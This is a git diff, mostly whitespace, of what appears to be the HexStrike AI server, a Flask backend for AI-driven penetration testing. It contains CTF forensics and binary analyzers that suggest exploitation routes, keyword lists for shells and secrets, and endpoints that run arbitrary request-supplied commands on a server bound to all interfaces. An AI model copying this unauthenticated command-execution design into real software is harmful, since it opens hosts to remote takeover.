results["recommended_tools"].append("rot13") results["next_steps"].append("Try all ROT values (1-25)") - + # RSA-specific analysis if cipher_type == "rsa" or "rsa" in additional_info.lower(): results["recommended_tools"].extend(["rsatool", "factordb", "yafu"]) @@ -14468,7 +14478,7 @@ def ctf_cryptography_solver(): "Look for small public exponent attacks", "Check for common modulus attacks" ]) - + # Vigenรจre cipher analysis if cipher_type == "vigenere" or "vigenere" in additional_info.lower(): results["recommended_tools"].append("vigenere-solver") @@ -14477,14 +14487,14 @@ def ctf_cryptography_solver(): "Use index of coincidence analysis", "Try common key words" ]) - + logger.info(f"๐Ÿ” CTF crypto analysis completed | Type: {cipher_type} | Tools: {len(results['recommended_tools'])}") return jsonify({ "success": True, "analysis": results, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in CTF crypto solver: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14498,10 +14508,10 @@ def ctf_forensics_analyzer(): analysis_type = params.get("analysis_type", "comprehensive") extract_hidden = params.get("extract_hidden", True) check_steganography = params.get("check_steganography", True) - + if not file_path: return jsonify({"error": "File path is required"}), 400 - + results = { "file_path": file_path, "analysis_type": analysis_type, @@ -14512,14 +14522,14 @@ def ctf_forensics_analyzer(): "recommended_tools": [], "next_steps": [] } - + # Basic file analysis try: # File command file_result = subprocess.run(['file', file_path], capture_output=True, text=True, timeout=30) if file_result.returncode == 0: results["file_info"]["type"] = file_result.stdout.strip() - + # Determine file category and suggest tools file_type = file_result.stdout.lower() if "image" in file_type: @@ -14552,7 +14562,7 @@ def ctf_forensics_analyzer(): ]) except Exception as e: results["file_info"]["error"] = str(e) - + # Metadata extraction try: exif_result = subprocess.run(['exiftool', file_path], capture_output=True, text=True, timeout=30) @@ -14560,7 +14570,7 @@ def ctf_forensics_analyzer(): results["metadata"]["exif"] = exif_result.stdout except Exception as e: results["metadata"]["exif_error"] = str(e) - + # Binwalk analysis for hidden files if extract_hidden: try: @@ -14575,7 +14585,7 @@ def ctf_forensics_analyzer(): "tool": "binwalk", "error": str(e) }) - + # Steganography checks if check_steganography: # Check for common steganography tools @@ -14588,7 +14598,7 @@ def ctf_forensics_analyzer(): steg_result = subprocess.run([tool, '-a', file_path], capture_output=True, text=True, timeout=30) elif tool == "outguess": steg_result = subprocess.run([tool, '-r', file_path, '/tmp/outguess_output'], capture_output=True, text=True, timeout=30) - + if steg_result.returncode == 0 and steg_result.stdout.strip(): results["steganography_results"].append({ "tool": tool, @@ -14599,7 +14609,7 @@ def ctf_forensics_analyzer(): "tool": tool, "error": str(e) }) - + # Strings analysis try: strings_result = subprocess.run(['strings', file_path], capture_output=True, text=True, timeout=30) @@ -14609,7 +14619,7 @@ def ctf_forensics_analyzer(): for line in strings_result.stdout.split('\n'): if any(keyword in line.lower() for keyword in ['flag', 'password', 'key', 'secret', 'http', 'ftp']): interesting_strings.append(line.strip()) - + if interesting_strings: results["hidden_data"].append({ "tool": "strings", @@ -14620,14 +14630,14 @@ def ctf_forensics_analyzer(): "tool": "strings", "error": str(e) }) - + logger.info(f"๐Ÿ” CTF forensics analysis completed | File: {file_path} | Tools used: {len(results['recommended_tools'])}") return jsonify({ "success": True, "analysis": results, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in CTF forensics analyzer: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14641,10 +14651,10 @@ def ctf_binary_analyzer(): analysis_depth = params.get("analysis_depth", "comprehensive") # basic, comprehensive, deep check_protections = params.get("check_protections", True) find_gadgets = params.get("find_gadgets", True) - + if not binary_path: return jsonify({"error": "Binary path is required"}), 400 - + results = { "binary_path": binary_path, "analysis_depth": analysis_depth, @@ -14656,13 +14666,13 @@ def ctf_binary_analyzer(): "recommended_tools": [], "exploitation_hints": [] } - + # Basic file information try: file_result = subprocess.run(['file', binary_path], capture_output=True, text=True, timeout=30) if file_result.returncode == 0: results["file_info"]["type"] = file_result.stdout.strip() - + # Determine architecture and suggest tools file_output = file_result.stdout.lower() if "x86-64" in file_output or "x86_64" in file_output: @@ -14671,18 +14681,18 @@ def ctf_binary_analyzer(): results["file_info"]["architecture"] = "i386" elif "arm" in file_output: results["file_info"]["architecture"] = "ARM" - + results["recommended_tools"].extend(["gdb-peda", "radare2", "ghidra"]) except Exception as e: results["file_info"]["error"] = str(e) - + # Security protections check if check_protections: try: checksec_result = subprocess.run(['checksec', '--file', binary_path], capture_output=True, text=True, timeout=30) if checksec_result.returncode == 0: results["security_protections"]["checksec"] = checksec_result.stdout - + # Parse protections and provide exploitation hints output = checksec_result.stdout.lower() if "no canary found" in output: @@ -14695,13 +14705,13 @@ def ctf_binary_analyzer(): results["exploitation_hints"].append("RELRO disabled - GOT overwrite attacks possible") except Exception as e: results["security_protections"]["error"] = str(e) - + # Strings analysis try: strings_result = subprocess.run(['strings', binary_path], capture_output=True, text=True, timeout=30) if strings_result.returncode == 0: strings_output = strings_result.stdout.split('\n') - + # Categorize interesting strings interesting_categories = { "functions": [], @@ -14710,48 +14720,48 @@ def ctf_binary_analyzer(): "potential_flags": [], "system_calls": [] } - + for string in strings_output: string = string.strip() if not string: continue - + # Look for function names if any(func in string for func in ['printf', 'scanf', 'gets', 'strcpy', 'system', 'execve']): interesting_categories["functions"].append(string) - + # Look for format strings if '%' in string and any(fmt in string for fmt in ['%s', '%d', '%x', '%n']): interesting_categories["format_strings"].append(string) - + # Look for file paths if string.startswith('/') or '\\' in string: interesting_categories["file_paths"].append(string) - + # Look for potential flags if any(keyword in string.lower() for keyword in ['flag', 'ctf', 'key', 'password']): interesting_categories["potential_flags"].append(string) - + # Look for system calls if string in ['sh', 'bash', '/bin/sh', '/bin/bash', 'cmd.exe']: interesting_categories["system_calls"].append(string) - + results["strings_analysis"] = interesting_categories - + # Add exploitation hints based on strings if interesting_categories["functions"]: dangerous_funcs = ['gets', 'strcpy', 'sprintf', 'scanf'] found_dangerous = [f for f in dangerous_funcs if any(f in s for s in interesting_categories["functions"])] if found_dangerous: results["exploitation_hints"].append(f"Dangerous functions found: {', '.join(found_dangerous)} - potential buffer overflow") - + if interesting_categories["format_strings"]: if any('%n' in s for s in interesting_categories["format_strings"]): results["exploitation_hints"].append("Format string with %n found - potential format string vulnerability") - + except Exception as e: results["strings_analysis"]["error"] = str(e) - + # ROP gadgets search if find_gadgets and analysis_depth in ["comprehensive", "deep"]: try: @@ -14759,20 +14769,20 @@ def ctf_binary_analyzer(): if ropgadget_result.returncode == 0: gadget_lines = ropgadget_result.stdout.split('\n') useful_gadgets = [] - + for line in gadget_lines: if 'pop' in line and 'ret' in line: useful_gadgets.append(line.strip()) - + results["gadgets"] = useful_gadgets[:20] # Limit to first 20 gadgets - + if useful_gadgets: results["exploitation_hints"].append(f"Found {len(useful_gadgets)} ROP gadgets - ROP chain exploitation possible") results["recommended_tools"].append("ropper") - + except Exception as e: results["gadgets"] = [f"Error finding gadgets: {str(e)}"] - + # Function analysis with objdump if analysis_depth in ["comprehensive", "deep"]: try: @@ -14785,25 +14795,25 @@ def ctf_binary_analyzer(): if len(parts) >= 6: func_name = parts[-1] functions.append(func_name) - + results["interesting_functions"] = functions[:50] # Limit to first 50 functions except Exception as e: results["interesting_functions"] = [f"Error analyzing functions: {str(e)}"] - + # Add tool recommendations based on findings if results["exploitation_hints"]: results["recommended_tools"].extend(["pwntools", "gdb-peda", "one-gadget"]) - + if "format string" in str(results["exploitation_hints"]).lower(): results["recommended_tools"].append("format-string-exploiter") - + logger.info(f"๐Ÿ”ฌ CTF binary analysis completed | Binary: {binary_path} | Hints: {len(results['exploitation_hints'])}") return jsonify({ "success": True, "analysis": results, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in CTF binary analyzer: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14819,13 +14829,13 @@ def execute_command_async(): params = request.json command = params.get("command", "") context = params.get("context", {}) - + if not command: return jsonify({"error": "Command parameter is required"}), 400 - + # Execute command asynchronously task_id = enhanced_process_manager.execute_command_async(command, context) - + logger.info(f"๐Ÿš€ Async command execution started | Task ID: {task_id}") return jsonify({ "success": True, @@ -14834,7 +14844,7 @@ def execute_command_async(): "status": "submitted", "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in async command execution: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14844,10 +14854,10 @@ def get_async_task_result(task_id): """Get result of asynchronous task""" try: result = enhanced_process_manager.get_task_result(task_id) - + if result["status"] == "not_found": return jsonify({"error": "Task not found"}), 404 - + logger.info(f"๐Ÿ“‹ Task result retrieved | Task ID: {task_id} | Status: {result['status']}") return jsonify({ "success": True, @@ -14855,7 +14865,7 @@ def get_async_task_result(task_id): "result": result, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting task result: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14865,14 +14875,14 @@ def get_process_pool_stats(): """Get process pool statistics and performance metrics""" try: stats = enhanced_process_manager.get_comprehensive_stats() - + logger.info(f"๐Ÿ“Š Process pool stats retrieved | Active workers: {stats['process_pool']['active_workers']}") return jsonify({ "success": True, "stats": stats, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting pool stats: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14882,14 +14892,14 @@ def get_cache_stats(): """Get advanced cache statistics""" try: cache_stats = enhanced_process_manager.cache.get_stats() - + logger.info(f"๐Ÿ’พ Cache stats retrieved | Hit rate: {cache_stats['hit_rate']:.1f}%") return jsonify({ "success": True, "cache_stats": cache_stats, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting cache stats: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14899,14 +14909,14 @@ def clear_process_cache(): """Clear the advanced cache""" try: enhanced_process_manager.cache.clear() - + logger.info("๐Ÿงน Process cache cleared") return jsonify({ "success": True, "message": "Cache cleared successfully", "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error clearing cache: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14917,7 +14927,7 @@ def get_resource_usage(): try: current_usage = enhanced_process_manager.resource_monitor.get_current_usage() usage_trends = enhanced_process_manager.resource_monitor.get_usage_trends() - + logger.info(f"๐Ÿ“ˆ Resource usage retrieved | CPU: {current_usage['cpu_percent']:.1f}% | Memory: {current_usage['memory_percent']:.1f}%") return jsonify({ "success": True, @@ -14925,7 +14935,7 @@ def get_resource_usage(): "usage_trends": usage_trends, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting resource usage: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14937,7 +14947,7 @@ def get_performance_dashboard(): dashboard_data = enhanced_process_manager.performance_dashboard.get_summary() pool_stats = enhanced_process_manager.process_pool.get_pool_stats() resource_usage = enhanced_process_manager.resource_monitor.get_current_usage() - + # Create comprehensive dashboard dashboard = { "performance_summary": dashboard_data, @@ -14951,14 +14961,14 @@ def get_performance_dashboard(): "disk_status": "healthy" if resource_usage["disk_percent"] < 90 else "warning" if resource_usage["disk_percent"] < 98 else "critical" } } - + logger.info(f"๐Ÿ“Š Performance dashboard retrieved | Success rate: {dashboard_data.get('success_rate', 0):.1f}%") return jsonify({ "success": True, "dashboard": dashboard, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting performance dashboard: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14969,9 +14979,9 @@ def terminate_process_gracefully(pid): try: params = request.json or {} timeout = params.get("timeout", 30) - + success = enhanced_process_manager.terminate_process_gracefully(pid, timeout) - + if success: logger.info(f"โœ… Process {pid} terminated gracefully") return jsonify({ @@ -14987,7 +14997,7 @@ def terminate_process_gracefully(pid): "pid": pid, "timestamp": datetime.now().isoformat() }), 400 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error terminating process {pid}: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -14999,13 +15009,13 @@ def configure_auto_scaling(): params = request.json enabled = params.get("enabled", True) thresholds = params.get("thresholds", {}) - + # Update auto-scaling configuration enhanced_process_manager.auto_scaling_enabled = enabled - + if thresholds: enhanced_process_manager.resource_thresholds.update(thresholds) - + logger.info(f"โš™๏ธ Auto-scaling configured | Enabled: {enabled}") return jsonify({ "success": True, @@ -15013,7 +15023,7 @@ def configure_auto_scaling(): "resource_thresholds": enhanced_process_manager.resource_thresholds, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error configuring auto-scaling: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15025,13 +15035,13 @@ def manual_scale_pool(): params = request.json action = params.get("action", "") # "up" or "down" count = params.get("count", 1) - + if action not in ["up", "down"]: return jsonify({"error": "Action must be 'up' or 'down'"}), 400 - + current_stats = enhanced_process_manager.process_pool.get_pool_stats() current_workers = current_stats["active_workers"] - + if action == "up": max_workers = enhanced_process_manager.process_pool.max_workers if current_workers + count <= max_workers: @@ -15048,7 +15058,7 @@ def manual_scale_pool(): message = f"Scaled down by {count} workers" else: return jsonify({"error": f"Cannot scale down: would go below min workers ({min_workers})"}), 400 - + logger.info(f"๐Ÿ“ Manual scaling | {message} | Workers: {current_workers} โ†’ {new_workers}") return jsonify({ "success": True, @@ -15057,7 +15067,7 @@ def manual_scale_pool(): "current_workers": new_workers, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error scaling pool: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15068,15 +15078,15 @@ def process_health_check(): try: # Get all system stats comprehensive_stats = enhanced_process_manager.get_comprehensive_stats() - + # Determine overall health resource_usage = comprehensive_stats["resource_usage"] pool_stats = comprehensive_stats["process_pool"] cache_stats = comprehensive_stats["cache"] - + health_score = 100 issues = [] - + # CPU health if resource_usage["cpu_percent"] > 95: health_score -= 30 @@ -15084,7 +15094,7 @@ def process_health_check(): elif resource_usage["cpu_percent"] > 80: health_score -= 15 issues.append("High CPU usage") - + # Memory health if resource_usage["memory_percent"] > 95: health_score -= 25 @@ -15092,7 +15102,7 @@ def process_health_check(): elif resource_usage["memory_percent"] > 85: health_score -= 10 issues.append("High memory usage") - + # Disk health if resource_usage["disk_percent"] > 98: health_score -= 20 @@ -15100,19 +15110,19 @@ def process_health_check(): elif resource_usage["disk_percent"] > 90: health_score -= 5 issues.append("High disk usage") - + # Process pool health if pool_stats["queue_size"] > 50: health_score -= 15 issues.append("High task queue backlog") - + # Cache health if cache_stats["hit_rate"] < 30: health_score -= 10 issues.append("Low cache hit rate") - + health_score = max(0, health_score) - + # Determine status if health_score >= 90: status = "excellent" @@ -15124,7 +15134,7 @@ def process_health_check(): status = "poor" else: status = "critical" - + health_report = { "overall_status": status, "health_score": health_score, @@ -15132,7 +15142,7 @@ def process_health_check(): "system_stats": comprehensive_stats, "recommendations": [] } - + # Add recommendations based on issues if "High CPU usage" in issues: health_report["recommendations"].append("Consider reducing concurrent processes or upgrading CPU") @@ -15142,14 +15152,14 @@ def process_health_check(): health_report["recommendations"].append("Scale up process pool or optimize task processing") if "Low cache hit rate" in issues: health_report["recommendations"].append("Review cache TTL settings or increase cache size") - + logger.info(f"๐Ÿฅ Health check completed | Status: {status} | Score: {health_score}/100") return jsonify({ "success": True, "health_report": health_report, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in health check: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15184,7 +15194,7 @@ def test_error_recovery(): tool_name = data.get("tool_name", "nmap") error_type = data.get("error_type", "timeout") target = data.get("target", "example.com") - + # Simulate an error for testing if error_type == "timeout": exception = TimeoutError("Simulated timeout error") @@ -15194,16 +15204,16 @@ def test_error_recovery(): exception = ConnectionError("Simulated network error") else: exception = Exception(f"Simulated {error_type} error") - + context = { "target": target, "parameters": data.get("parameters", {}), "attempt_count": 1 } - + # Get recovery strategy recovery_strategy = error_handler.handle_tool_failure(tool_name, exception, context) - + return jsonify({ "success": True, "recovery_strategy": { @@ -15217,7 +15227,7 @@ def test_error_recovery(): "alternative_tools": error_handler.tool_alternatives.get(tool_name, []), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error testing recovery system: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15228,7 +15238,7 @@ def get_fallback_chains(): try: operation = request.args.get("operation", "") failed_tools = request.args.getlist("failed_tools") - + if operation: fallback_chain = degradation_manager.create_fallback_chain(operation, failed_tools) return jsonify({ @@ -15245,7 +15255,7 @@ def get_fallback_chains(): "critical_operations": list(degradation_manager.critical_operations), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error getting fallback chains: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15260,10 +15270,10 @@ def execute_with_recovery_endpoint(): parameters = data.get("parameters", {}) max_attempts = data.get("max_attempts", 3) use_cache = data.get("use_cache", True) - + if not tool_name or not command: return jsonify({"error": "tool_name and command are required"}), 400 - + # Execute command with recovery result = execute_command_with_recovery( tool_name=tool_name, @@ -15272,13 +15282,13 @@ def execute_with_recovery_endpoint(): use_cache=use_cache, max_attempts=max_attempts ) - + return jsonify({ "success": result.get("success", False), "result": result, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error executing command with recovery: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15289,13 +15299,13 @@ def classify_error_endpoint(): try: data = request.get_json() error_message = data.get("error_message", "") - + if not error_message: return jsonify({"error": "error_message is required"}), 400 - + error_type = error_handler.classify_error(error_message) recovery_strategies = error_handler.recovery_strategies.get(error_type, []) - + return jsonify({ "success": True, "error_type": error_type.value, @@ -15310,7 +15320,7 @@ def classify_error_endpoint(): ], "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error classifying error: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15323,18 +15333,18 @@ def get_parameter_adjustments(): tool_name = data.get("tool_name", "") error_type_str = data.get("error_type", "") original_params = data.get("original_params", {}) - + if not tool_name or not error_type_str: return jsonify({"error": "tool_name and error_type are required"}), 400 - + # Convert string to ErrorType enum try: error_type = ErrorType(error_type_str) except ValueError: return jsonify({"error": f"Invalid error_type: {error_type_str}"}), 400 - + adjusted_params = error_handler.auto_adjust_parameters(tool_name, error_type, original_params) - + return jsonify({ "success": True, "tool_name": tool_name, @@ -15343,7 +15353,7 @@ def get_parameter_adjustments(): "adjusted_params": adjusted_params, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error getting parameter adjustments: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15353,12 +15363,12 @@ def get_alternative_tools(): """Get alternative tools for a given tool""" try: tool_name = request.args.get("tool_name", "") - + if not tool_name: return jsonify({"error": "tool_name parameter is required"}), 400 - + alternatives = error_handler.tool_alternatives.get(tool_name, []) - + return jsonify({ "success": True, "tool_name": tool_name, @@ -15366,7 +15376,7 @@ def get_alternative_tools(): "has_alternatives": len(alternatives) > 0, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"Error getting alternative tools: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -15377,19 +15387,19 @@ BANNER = ModernVisualEngine.create_banner() if __name__ == "__main__": # Display the beautiful new banner print(BANNER) - + parser = argparse.ArgumentParser(description="Run the HexStrike AI API Server") parser.add_argument("--debug", action="store_true", help="Enable debug mode") parser.add_argument("--port", type=int, default=API_PORT, help=f"Port for the API server (default: {API_PORT})") args = parser.parse_args() - + if args.debug: DEBUG_MODE = True logger.setLevel(logging.DEBUG) - + if args.port != API_PORT: API_PORT = args.port - + # Enhanced startup messages with beautiful formatting startup_info = f""" {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ{ModernVisualEngine.COLORS['RESET']} @@ -15402,9 +15412,9 @@ if __name__ == "__main__": {ModernVisualEngine.COLORS['BOLD']}โ”‚{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['MATRIX_GREEN']}โœจ Enhanced Visual Engine:{ModernVisualEngine.COLORS['RESET']} Active {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']} """ - + for line in startup_info.strip().split('\n'): if line.strip(): logger.info(line) - - app.run(host="0.0.0.0", port=API_PORT, debug=DEBUG_MODE) \ No newline at end of file + + app.run(host="0.0.0.0", port=API_PORT, debug=DEBUG_MODE) diff --git a/requirements.txt b/requirements.txt index 2a2155f..ff4cede 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -# HexStrike AI MCP Agents v6.0 +# HexStrike AI MCP Agents v6.0 # # INSTALLATION COMMANDS: # python3 -m venv hexstrike_env @@ -36,48 +36,49 @@ mitmproxy>=9.0.0,<11.0.0 # HTTP proxy (mitmproxy imports) # ============================================================================ pwntools>=4.10.0,<5.0.0 # Binary exploitation (from pwn import *) angr>=9.2.0,<10.0.0 # Binary analysis (import angr) +bcrypt==4.0.1 # Pin bcrypt version for passlib compatibility (fixes pwntools dependency issue) # ============================================================================ # EXTERNAL SECURITY TOOLS (150+ Tools - Install separately) # ============================================================================ -# +# # HexStrike v6.0 integrates with 150+ external security tools that must be # installed separately from their official sources: -# +# # ๐Ÿ” Network & Reconnaissance (25+ tools): # - nmap, masscan, rustscan, autorecon, amass, subfinder, fierce # - dnsenum, theharvester, responder, netexec, enum4linux-ng -# +# # ๐ŸŒ Web Application Security (40+ tools): # - gobuster, feroxbuster, ffuf, dirb, dirsearch, nuclei, nikto # - sqlmap, wpscan, arjun, paramspider, x8, katana, httpx # - dalfox, jaeles, hakrawler, gau, waybackurls, wafw00f -# +# # ๐Ÿ” Authentication & Password (12+ tools): # - hydra, john, hashcat, medusa, patator, netexec # - evil-winrm, hash-identifier, ophcrack -# +# # ๐Ÿ”ฌ Binary Analysis & Reverse Engineering (25+ tools): # - ghidra, radare2, gdb, binwalk, ropgadget, checksec, strings # - volatility3, foremost, steghide, exiftool, angr, pwntools -# +# # โ˜๏ธ Cloud & Container Security (20+ tools): # - prowler, scout-suite, trivy, kube-hunter, kube-bench # - docker-bench-security, checkov, terrascan, falco -# +# # ๐Ÿ† CTF & Forensics (20+ tools): # - volatility3, autopsy, sleuthkit, stegsolve, zsteg, outguess # - photorec, testdisk, scalpel, bulk-extractor -# +# # ๐Ÿ•ต๏ธ OSINT & Intelligence (20+ tools): # - sherlock, social-analyzer, recon-ng, maltego, spiderfoot # - shodan-cli, censys-cli, have-i-been-pwned -# +# # Installation Notes: # 1. Kali Linux 2024.1+ includes most tools by default # 2. Ubuntu/Debian users should install tools from official repositories # 3. Some tools require compilation from source or additional setup # 4. Cloud tools require API keys and authentication configuration # 5. Browser Agent requires Chrome/Chromium and ChromeDriver installation -# -# For complete installation instructions and setup guides, see README.md \ No newline at end of file +# +# For complete installation instructions and setup guides, see README.md